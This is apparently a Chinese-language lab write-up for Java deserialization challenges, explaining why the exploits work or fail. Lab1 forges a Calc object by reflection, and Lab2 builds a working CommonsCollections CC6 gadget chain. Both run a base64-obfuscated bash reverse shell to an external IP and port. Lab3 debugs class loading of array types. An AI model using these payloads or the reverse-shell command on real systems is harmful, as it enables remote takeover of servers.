Write-UpJavaDeserializeLabs
SherlockLab1
在java中对于bash命令的执行会把它按照空格分成三部分,也就是反弹shell命令中只能存在两个空格
序列化脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package yxxx.javasec.deserialize;
import com.yxxx.javasec.deserialize.Calc; import com.yxxx.javasec.deserialize.Utils;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class Test { public static void main(String[] args) throws Exception { Calc calc = new Calc(); Class c = calc.getClass(); Field field = c.getDeclaredField("canPopCalc"); field.setAccessible(true); field.set(calc,true); Field field1 = c.getDeclaredField("cmd"); field1.setAccessible(true); field1.set(calc,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMTAyLjQ2Lzc3NzcgMD4mMQ0K}|{base64,-d}|{bash,-i}"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(calc); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } }
|
Lab2
该题题目没有提供任何的类供我们来解决问题,但是我们看提供的库里面有CommonsCollections依赖,这样的话我们就可以利用cc链实现反序列化,达到rce的目的
由于像cc1等链会受到jdk版本的限制,所以我们这边使用不会受版本限制的一条链,也就是cc6,所以我们的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package org.example.lab2.demos.web;
import com.yxxx.javasec.deserialize.Utils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class Sherlock { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMTAyLjQ2Lzc3NzcgMD4mMQ0K}|{base64,-d}|{bash,-i}"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(map2); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
} }
|
Lab3
首先观察到题目提供的库里面还是有CommonsCollections依赖,所以我们把第二题的payload先直接cv一遍,但是要注意的是在进行本地测试的时候反序列化的代码要更改为与题目符合的
这是因为在文件IndexController.class中调用的是自己写的MyObjectInputStream类
类的内容如下,重写了一个resolveClass()方法以及构造函数,构造函数中获取类Transformer类的类加载器,向上转型为URLClassLoader,获取URL数组对象,赋值给classLoader
重写的resolveClass()方法中,调用的是这个新的classLoader来进行类加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class MyObjectInputStream extends ObjectInputStream { private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception { super(inputStream); URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs(); this.classLoader = new URLClassLoader(urls); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class clazz = this.classLoader.loadClass(desc.getName()); return clazz; } }
|
更改完测试的时候会直接报错如下:
这里的[L
开头指的是一个数组,即Transformer
数组类去进行类加载失效
点击下面一行的报错,跳转至URLClassLoader.class文件中可以发现抛出该异常的原因是result==null
往上看result值的获取为下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| result = AccessController.doPrivileged( new PrivilegedExceptionAction<Class<?>>() { public Class<?> run() throws ClassNotFoundException { String path = name.replace('.', '/').concat(".class"); Resource res = ucp.getResource(path, false); if (res != null) { try { return defineClass(name, res); } catch (IOException e) { throw new ClassNotFoundException(name, e); } } else { return null; } } }, acc);
|
参数path是将name中的所有.
都替换为反斜杠,然后最后接上.class
然后得到的path用于getResource()获取资源,成功的话就调用defineClass()进行类加载从而得到result
我们在这边打上断点看一下,这一步我是一直点绿色的恢复程序才调试到的
发现name的值是奇奇怪怪的一个数组类
继续调试发现抛出异常的原因就是因为是数组类
尝试过后发现只要是数组那么都会抛出异常
我们查看一下ObjectInputStream类中的原生resolveClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false, latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null) { return cl; } else { throw ex; } } }
|
可以发现调用的类加载方法是forName,而在自定义的MyObjectInputStream.class中调用的类加载方法是loadClass
怀疑loadClass方法不支持加载数组类,所以自己重写了个MyObjectInputStream1,通过判断是不是数组对象的类加载
如果是的话,应以[L
开头,这时候我们调用forName()即可,成功触发命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class MyObjectInputStream1 extends ObjectInputStream { private ClassLoader classLoader;
public MyObjectInputStream1(InputStream in) throws Exception { super(in); URL[] urls = ((URLClassLoader) ClassLoader.getSystemClassLoader()).getURLs(); this.classLoader = ClassLoader.getSystemClassLoader(); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (desc.getName().startsWith("[L")){ return Class.forName(desc.getName()); } return this.classLoader.loadClass(desc.getName());
} }
|
成功证明loadClass方法不支持数组类加载,gpt骗我
所以我们的payload中不能够有数组,想起了刚刚学完的shiro反序列化中没有用到数组类,但很可惜没有CB依赖